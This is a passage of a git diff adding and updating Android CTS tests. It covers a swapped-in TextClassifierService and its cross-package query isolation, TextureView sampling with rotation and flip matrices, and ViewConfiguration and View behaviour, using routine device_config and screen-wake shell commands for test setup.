+# Bug component: 25700
+adamp@google.com
+shepshapard@google.com
+clarabayarri@google.com
+jreck@google.com
+njawad@google.com
\ No newline at end of file
diff --git a/tests/tests/view/QueryTextClassifierServiceActivity/Android.bp b/tests/tests/view/QueryTextClassifierServiceActivity/Android.bp
new file mode 100644
index 0000000..e617625
--- /dev/null
+++ b/tests/tests/view/QueryTextClassifierServiceActivity/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsQueryTextClassifierServiceActivity",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ srcs: ["src/**/*.java"],
+}
\ No newline at end of file
diff --git a/tests/tests/view/QueryTextClassifierServiceActivity/AndroidManifest.xml b/tests/tests/view/QueryTextClassifierServiceActivity/AndroidManifest.xml
new file mode 100644
index 0000000..f6e49a6
--- /dev/null
+++ b/tests/tests/view/QueryTextClassifierServiceActivity/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.textclassifier.cts2"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".QueryTextClassifierServiceActivity"
+ android:label="QueryTextClassifierServiceActivity"
+ android:exported="true"
+ android:taskAffinity=".QueryTextClassifierService">
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for the TextClassifier Service."
+ android:targetPackage="android.textclassifier.cts2" >
+ </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/view/QueryTextClassifierServiceActivity/src/com/android/textclassifier/cts2/QueryTextClassifierServiceActivity.java b/tests/tests/view/QueryTextClassifierServiceActivity/src/com/android/textclassifier/cts2/QueryTextClassifierServiceActivity.java
new file mode 100644
index 0000000..1a7f9b1
--- /dev/null
+++ b/tests/tests/view/QueryTextClassifierServiceActivity/src/com/android/textclassifier/cts2/QueryTextClassifierServiceActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.textclassifier.cts2;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.PendingIntent.CanceledException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLanguage;
+
+/**
+ * An activity that queries the device's TextClassifierService when started and immediately
+ * terminates itself.
+ */
+public final class QueryTextClassifierServiceActivity extends Activity {
+
+ private static final String TAG = QueryTextClassifierServiceActivity.class.getSimpleName();
+ private PendingIntent mPendingIntent;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ mPendingIntent = intent.getParcelableExtra("finishBroadcast");
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ // Do a TextClassifier call
+ detectLanguageAndFinish();
+ }
+
+ private void detectLanguageAndFinish() {
+ final String text = "An email address is test@example.com.";
+ new Thread(() -> {
+ final TextLanguage.Request textLanguageRequest =
+ new TextLanguage.Request.Builder(text)
+ .build();
+ TextClassifier textClassifier = getClassifier();
+ textClassifier.detectLanguage(textLanguageRequest);
+ // Send finish broadcast
+ if (mPendingIntent != null) {
+ try {
+ mPendingIntent.send();
+ } catch (CanceledException e) {
+ Log.w(TAG, "Pending intent " + mPendingIntent + " canceled");
+ }
+ }
+ finish();
+ }).start();
+ }
+
+ private TextClassifier getClassifier() {
+ final TextClassificationManager tcm = getSystemService(TextClassificationManager.class);
+ return tcm != null ? tcm.getTextClassifier() : TextClassifier.NO_OP;
+ }
+}
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 9a551df..bb513bfc 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -174,10 +174,6 @@
<item name="themeTileMode">2</item>
</style>
- <style name="Theme_NoSwipeDismiss">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-
<style name="WhiteBackgroundTheme" parent="@android:style/Theme.Holo.NoActionBar.Fullscreen">
<item name="android:windowNoTitle">true</item>
<item name="android:windowFullscreen">true</item>
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 38b993c..9cab157 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -300,22 +300,37 @@
public void testSamplingWithTransform() throws Throwable {
final TextureViewCtsActivity activity = mActivityRule.launchActivity(null);
final TextureView textureView = activity.getTextureView();
+ final int viewWidth = textureView.getWidth();
+ final int viewHeight = textureView.getHeight();
WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, activity.getTextureView(), null);
// Remove cover and calculate TextureView position on the screen.
WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
activity.findViewById(android.R.id.content), () -> activity.removeCover());
float[][] matrices = {
- {1, 0, 0, 0, 1, 0, 0, 0, 1}, // identity matrix
- {1, 0, 0, 0, 1, 10.3f, 0, 0, 1}, // translation matrix with a fractional offset
- {1, 0, 0, 0, 0.75f, 0, 0, 0, 1}, // scaling matrix
- {1, 0, 0, 0, 1, 10f, 0, 0, 1} // translation matrix with an integer offset
+ {1, 0, 0, 0, 1, 0, 0, 0, 1}, // identity matrix
+ {1, 0, 0, 0, 1, 10.3f, 0, 0, 1}, // translation matrix with a fractional offset
+ {1, 0, 0, 0, 0.75f, 0, 0, 0, 1}, // scaling matrix
+ {1, 0, 0, 0, 1, 10f, 0, 0, 1}, // translation matrix with an integer offset
+ {0, -1, viewWidth, 1, 0, 0, 0, 0, 1}, // 90 rotation matrix + integer translate X
+ {0, 1, 0, -1, 0, viewWidth, 0, 0, 1}, // 270 rotation matrix + integer translate Y
+ {-1, 0, viewWidth, 0, 1, 0, 0, 0, 1}, // H flip matrix + integer translate X
+ {1, 0, 0, 0, -1, viewHeight, 0, 0, 1}, // V flip matrix + integer translate Y
+ {-1, 0, viewWidth, 0, -1, viewHeight, 0, 0, 1}, // 180 rotation + integer translate X Y
+ {0, -1, viewWidth - 10.3f, 1, 0, 0, 0, 0, 1}, // 90 rotation matrix with a fractional
+ // offset
};
boolean[] nearestSampling = {
true, // nearest sampling for identity
false, // bilerp sampling for fractional translate
false, // bilerp sampling for scaling
- true // nearest sampling for integer translate
+ true, // nearest sampling for integer translate
+ true, // nearest sampling for 90 rotation with integer translate
+ true, // nearest sampling for 270 rotation with integer translate
+ true, // nearest sampling for H flip with integer translate
+ true, // nearest sampling for V flip with integer translate
+ true, // nearest sampling for 180 rotation with integer translate
+ false, // bilerp sampling for 90 rotation matrix with a fractional offset
};
for (int i = 0; i < nearestSampling.length; i++) {
@@ -345,8 +360,10 @@
// "texturePos" has SurfaceTexture position inside the TextureView.
RectF texturePosF = new RectF(0, 0, viewPos.width(), viewPos.height());
transform.mapRect(texturePosF);
- //clip parts outside TextureView
- texturePosF.intersect(0, 0, viewPos.width(), viewPos.height());
+ // Clip parts outside TextureView.
+ // Matrices are picked, so that the drawing area is not empty.
+ assertTrue("empty test area",
+ texturePosF.intersect(0, 0, viewPos.width(), viewPos.height()));
Rect texturePos = new Rect((int) Math.ceil(texturePosF.left),
(int) Math.ceil(texturePosF.top), (int) Math.floor(texturePosF.right),
(int) Math.floor(texturePosF.bottom));
@@ -367,15 +384,19 @@
}
}
} else {
- // Check there are no black nor white pixels, because bilerp sampling changed
- // pure black/white to a variety of gray intermediates.
+ // Check that a third of pixels are not black nor white, because bilerp sampling
+ // changed pure black/white to a variety of gray intermediates.
+ int nonBlackWhitePixels = 0;
for (int j = 0; j < pixels.length; j++) {
- if (pixels[j] == Color.BLACK || pixels[j] == Color.WHITE) {
- success = false;
+ if (pixels[j] != Color.BLACK && pixels[j] != Color.WHITE) {
+ nonBlackWhitePixels++;
+ } else {
failPosition = j;
- break;
}
}
+ if (nonBlackWhitePixels < pixels.length / 3) {
+ success = false;
+ }
}
assertTrue("Unexpected color at position " + failPosition + " = "
+ Integer.toHexString(pixels[failPosition]) + " " + transform.toString(),
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index fe23a9e..355d175 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -16,12 +16,16 @@
package android.view.cts;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import android.content.Context;
+import android.graphics.Point;
import android.util.TypedValue;
+import android.view.Display;
import android.view.ViewConfiguration;
+import android.view.WindowManager;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.SmallTest;
@@ -127,4 +131,21 @@
final float instanceMultiplier = vc.getAmbiguousGestureMultiplier();
assertTrue(instanceMultiplier >= 1);
}
+
+ @Test
+ public void testGetMaximumDrawingCacheSize() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ ViewConfiguration vc = ViewConfiguration.get(context);
+ assertNotNull(vc);
+
+ // Should be at least the size of the screen we're supposed to draw into.
+ final WindowManager win = context.getSystemService(WindowManager.class);
+ final Display display = win.getDefaultDisplay();
+ final Point size = new Point();
+ display.getSize(size);
+ assertTrue(vc.getScaledMaximumDrawingCacheSize() >= size.x * size.y * 4);
+
+ // This deprecated value should just be what it's historically hardcoded to be.
+ assertEquals(480 * 800 * 4, vc.getMaximumDrawingCacheSize());
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index a934986..267bd3e 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -3923,7 +3923,7 @@
assertFalse(mockView.isInTouchMode());
assertFalse(fitWindowsView.isInTouchMode());
- // Mouse events should not trigger touch mode.
+ // Mouse events should not affect touch mode.
final MotionEvent event =
CtsMouseUtil.obtainMouseEvent(MotionEvent.ACTION_SCROLL, mockView, 0, 0);
mInstrumentation.sendPointerSync(event);
@@ -3933,7 +3933,7 @@
mInstrumentation.sendPointerSync(event);
assertFalse(fitWindowsView.isInTouchMode());
- // Stylus events should not trigger touch mode.
+ // Stylus events should not affect touch mode.
event.setSource(InputDevice.SOURCE_STYLUS);
mInstrumentation.sendPointerSync(event);
assertFalse(fitWindowsView.isInTouchMode());
@@ -3941,10 +3941,11 @@
CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mockView);
assertTrue(fitWindowsView.isInTouchMode());
+ // Mouse events should not affect touch mode.
event.setSource(InputDevice.SOURCE_MOUSE);
event.setAction(MotionEvent.ACTION_DOWN);
mInstrumentation.sendPointerSync(event);
- assertFalse(fitWindowsView.isInTouchMode());
+ assertTrue(fitWindowsView.isInTouchMode());
}
@UiThreadTest
@@ -5056,6 +5057,24 @@
assertTrue(mMockParent.hasRequestLayout());
}
+ @UiThreadTest
+ @Test
+ public void testIsShowingLayoutBounds() {
+ final View view = new View(mContext);
+
+ // detached view should not have debug enabled
+ assertFalse(view.isShowingLayoutBounds());
+
+ mActivity.setContentView(view);
+ view.setShowingLayoutBounds(true);
+
+ assertTrue(view.isShowingLayoutBounds());
+ mActivity.setContentView(new View(mContext));
+
+ // now that it is detached, it should be false.
+ assertFalse(view.isShowingLayoutBounds());
+ }
+
private static class MockDrawable extends Drawable {
private boolean mCalledSetTint = false;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/view/src/android/view/textclassifier/cts/CtsTextClassifierService.java
new file mode 100644
index 0000000..d4686dc
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.textclassifier.cts;
+
+import android.os.CancellationSignal;
+import android.service.textclassifier.TextClassifierService;
+import android.view.textclassifier.ConversationActions;
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassificationContext;
+import android.view.textclassifier.TextClassificationSessionId;
+import android.view.textclassifier.TextClassifierEvent;
+import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextLinks;
+import android.view.textclassifier.TextSelection;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Implementation of {@link TextClassifierService} used in the tests.
+ */
+public final class CtsTextClassifierService extends TextClassifierService {
+
+ private static final String TAG = "CtsTextClassifierService";
+ public static final String MY_PACKAGE = "android.view.cts";
+
+ private final ArrayList<TextClassificationSessionId> mRequestSessions = new ArrayList<>();
+ private final CountDownLatch mRequestLatch = new CountDownLatch(1);
+
+ /**
+ * Returns the TestWatcher that was used for the testing.
+ */
+ @NonNull
+ public static TextClassifierTestWatcher getTestWatcher() {
+ return new TextClassifierTestWatcher();
+ }
+
+ @NonNull
+ List<TextClassificationSessionId> getRequestSessions() {
+ return Collections.unmodifiableList(mRequestSessions);
+ }
+
+ void awaitQuery(long timeoutMillis) {
+ try {
+ mRequestLatch.await(timeoutMillis, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // do nothing
+ }
+ }
+
+ @Override
+ public void onSuggestSelection(TextClassificationSessionId sessionId,
+ TextSelection.Request request, CancellationSignal cancellationSignal,
+ Callback<TextSelection> callback) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onClassifyText(TextClassificationSessionId sessionId,
+ TextClassification.Request request, CancellationSignal cancellationSignal,
+ Callback<TextClassification> callback) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onGenerateLinks(TextClassificationSessionId sessionId, TextLinks.Request request,
+ CancellationSignal cancellationSignal, Callback<TextLinks> callback) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onDetectLanguage(TextClassificationSessionId sessionId,
+ TextLanguage.Request request, CancellationSignal cancellationSignal,
+ Callback<TextLanguage> callback) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onSuggestConversationActions(TextClassificationSessionId sessionId,
+ ConversationActions.Request request, CancellationSignal cancellationSignal,
+ Callback<ConversationActions> callback) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onSelectionEvent(TextClassificationSessionId sessionId, SelectionEvent event) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onTextClassifierEvent(TextClassificationSessionId sessionId,
+ TextClassifierEvent event) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onCreateTextClassificationSession(TextClassificationContext context,
+ TextClassificationSessionId sessionId) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onDestroyTextClassificationSession(TextClassificationSessionId sessionId) {
+ mRequestSessions.add(sessionId);
+ mRequestLatch.countDown();
+ }
+
+ @Override
+ public void onConnected() {
+ TextClassifierTestWatcher.ServiceWatcher.onConnected(/* service */ this);
+ }
+
+ @Override
+ public void onDisconnected() {
+ TextClassifierTestWatcher.ServiceWatcher.onDisconnected();
+ }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index afc9d6c..0e11e52 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -43,6 +43,8 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.collect.Range;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -299,8 +301,7 @@
for (ConversationAction conversationAction : conversationActionsList) {
assertThat(conversationAction.getAction()).isNotNull();
assertThat(conversationAction.getType()).isNotNull();
- assertThat(conversationAction.getConfidenceScore()).isGreaterThan(0f);
- assertThat(conversationAction.getConfidenceScore()).isLessThan(1.0f);
+ assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
}
}
}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java
new file mode 100644
index 0000000..eef6ccd
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationSessionIdTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassificationContext;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassificationSessionId;
+import android.view.textclassifier.TextClassifier;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+
+@SmallTest
+public class TextClassificationSessionIdTest {
+
+ @Test
+ public void flattenToString() {
+ TextClassificationManager textClassificationManager =
+ ApplicationProvider.getApplicationContext().getSystemService(
+ TextClassificationManager.class);
+ textClassificationManager.setTextClassifier(TextClassifier.NO_OP);
+ TextClassifier textClassifier = textClassificationManager.createTextClassificationSession(
+ new TextClassificationContext.Builder(
+ "com.pkg",
+ TextClassifier.WIDGET_TYPE_TEXTVIEW)
+ .build());
+ SelectionEvent startedEvent =
+ SelectionEvent.createSelectionStartedEvent(
+ SelectionEvent.INVOCATION_LINK, /* start= */ 10);
+
+ textClassifier.onSelectionEvent(startedEvent);
+ TextClassificationSessionId sessionId = startedEvent.getSessionId();
+
+ assertThat(sessionId).isNotNull();
+ assertThat(sessionId.flattenToString()).isNotEmpty();
+ }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
new file mode 100644
index 0000000..5b27e4e
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.textclassifier.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.SystemClock;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.SafeCleanerRule;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for TextClassifierService query related functions.
+ *
+ * <p>
+ * We use a non-standard TextClassifierService for TextClassifierService-related CTS tests. A
+ * non-standard TextClassifierService that is set via device config. This non-standard
+ * TextClassifierService is not defined in the trust TextClassifierService, it should only receive
+ * queries from clients in the same package.
+ */
+@RunWith(AndroidJUnit4.class)
+public class TextClassifierServiceSwapTest {
+ // TODO: Add more tests to verify all the TC APIs call between caller and TCS.
+ private static final String TAG = "TextClassifierServiceSwapTest";
+
+ private final TextClassifierTestWatcher mTestWatcher =
+ CtsTextClassifierService.getTestWatcher();
+ private final SafeCleanerRule mSafeCleanerRule = mTestWatcher.newSafeCleaner();
+
+ @Rule
+ public final RuleChain mAllRules = RuleChain
+ .outerRule(mTestWatcher)
+ .around(mSafeCleanerRule);
+
+ @Test
+ public void testOutsideOfPackageActivity_noRequestReceived() throws Exception {
+ // Start an Activity from another package to trigger a TextClassifier call
+ runQueryTextClassifierServiceActivity();
+
+ // Wait for the TextClassifierService to connect.
+ // Note that the system requires a query to the TextClassifierService before it is
+ // first connected.
+ final CtsTextClassifierService service = mTestWatcher.getService();
+
+ // Wait a delay for the query is delivered.
+ service.awaitQuery(1_000);
+
+ // Verify the request was not passed to the service.
+ assertThat(service.getRequestSessions()).isEmpty();
+ }
+
+ /**
+ * Start an Activity from another package that queries the device's TextClassifierService when
+ * started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
+ * check that whether the finish broadcast is received.
+ */
+ private void runQueryTextClassifierServiceActivity() {
+ final String actionQueryActivityFinish =
+ "ACTION_QUERY_SERVICE_ACTIVITY_FINISH_" + SystemClock.uptimeMillis();
+ final Context context = InstrumentationRegistry.getTargetContext();
+
+ // register a activity finish receiver
+ final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context,
+ actionQueryActivityFinish);
+ receiver.register();
+
+ // Start an Activity from another package
+ final Intent outsideActivity = new Intent();
+ outsideActivity.setComponent(new ComponentName("android.textclassifier.cts2",
+ "android.textclassifier.cts2.QueryTextClassifierServiceActivity"));
+ outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
+ final Intent broadcastIntent = new Intent(actionQueryActivityFinish);
+ final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, broadcastIntent,
+ 0);
+ outsideActivity.putExtra("finishBroadcast", pendingIntent);
+ context.startActivity(outsideActivity);
+
+ TextClassifierTestWatcher.waitForIdle();
+
+ // Verify the finish broadcast is received.
+ final Intent intent = receiver.awaitForBroadcast();
+ assertThat(intent).isNotNull();
+
+ // unregister receiver
+ receiver.unregisterQuietly();
+ }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
new file mode 100644
index 0000000..c921da2
--- /dev/null
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.textclassifier.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SafeCleanerRule;
+
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link TestWatcher} that does TextClassifierService setup and reset tasks for the tests.
+ */
+final class TextClassifierTestWatcher extends TestWatcher {
+
+ private static final String TAG = "TextClassifierTestWatcher";
+ private static final long GENERIC_TIMEOUT_MS = 10_000;
+ // TODO: Use default value defined in TextClassificationConstants when TestApi is ready
+ private static final String DEFAULT_TEXT_CLASSIFIER_SERVICE_PACKAGE_OVERRIDE = null;
+ private static final boolean SYSTEM_TEXT_CLASSIFIER_ENABLED_DEFAULT = true;
+
+ private String mOriginalOverrideService;
+ private boolean mOriginalSystemTextClassifierEnabled;
+
+ private static final ArrayList<Throwable> sExceptions = new ArrayList<>();
+
+ private static ServiceWatcher sServiceWatcher;
+
+ @Override
+ protected void starting(Description description) {
+ super.starting(description);
+ prepareDevice();
+ // get original settings
+ mOriginalOverrideService = getOriginalOverrideService();
+ mOriginalSystemTextClassifierEnabled = isSystemTextClassifierEnabled();
+
+ // set system TextClassifier enabled
+ runShellCommand("device_config put textclassifier system_textclassifier_enabled true");
+
+ setService();
+ }
+
+ @Override
+ protected void finished(Description description) {
+ super.finished(description);
+ // restore original settings
+ runShellCommand("device_config put textclassifier system_textclassifier_enabled "
+ + mOriginalSystemTextClassifierEnabled);
+ // restore service and make sure service disconnected.
+ // clear the static values.
+ try {
+ resetService();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ } finally {
+ resetStaticState();
+ }
+ }
+
+ /**
+ * Wait for the TextClassifierService to connect. Note that the system requires a query to the
+ * TextClassifierService before it is first connected.
+ *
+ * @return the CtsTextClassifierService when connected.
+ *
+ * @throws InterruptedException if the current thread is interrupted while waiting.
+ * @throws AssertionError if no CtsTextClassifierService is returned.
+ */
+ CtsTextClassifierService getService() throws InterruptedException, AssertionError {
+ CtsTextClassifierService service = waitServiceLazyConnect();
+ if (service == null) {
+ throw new AssertionError("Can not get service.");
+ }
+ return service;
+ }
+
+ /**
+ * Waits for the current application to idle. Default wait timeout is 10 seconds
+ */
+ static void waitForIdle() {
+ UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+ .waitForIdle();
+ }
+
+ private static void setServiceWatcher() {
+ if (sServiceWatcher == null) {
+ sServiceWatcher = new ServiceWatcher();
+ }
+ }
+
+ private static void clearServiceWatcher() {
+ if (sServiceWatcher != null) {
+ sServiceWatcher.mService = null;
+ sServiceWatcher = null;
+ }
+ }
+
+ private static void resetStaticState() {
+ sExceptions.clear();
+ clearServiceWatcher();
+ }
+
+ private void prepareDevice() {
+ Log.v(TAG, "prepareDevice()");
+ // Unlock screen.
+ runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+ // Dismiss keyguard, in case it's set as "Swipe to unlock".
+ runShellCommand("wm dismiss-keyguard");
+ }
+
+ @Nullable
+ private String getOriginalOverrideService() {
+ final String deviceConfigSetting = runShellCommand(
+ "device_config get textclassifier textclassifier_service_package_override");
+ if (!TextUtils.isEmpty(deviceConfigSetting) && !deviceConfigSetting.equals("null")) {
+ return deviceConfigSetting;
+ }
+ return DEFAULT_TEXT_CLASSIFIER_SERVICE_PACKAGE_OVERRIDE;
+ }
+
+ private boolean isSystemTextClassifierEnabled() {
+ final String deviceConfigSetting = runShellCommand(
+ "device_config get textclassifier system_textclassifier_enabled");
+ if (!TextUtils.isEmpty(deviceConfigSetting) && !deviceConfigSetting.equals("null")) {
+ return deviceConfigSetting.toLowerCase().equals("true");
+ }
+ return SYSTEM_TEXT_CLASSIFIER_ENABLED_DEFAULT;
+ }
+
+ private void setService() {
+ setServiceWatcher();
+ // set the test service
+ runShellCommand("device_config put textclassifier textclassifier_service_package_override "
+ + CtsTextClassifierService.MY_PACKAGE);
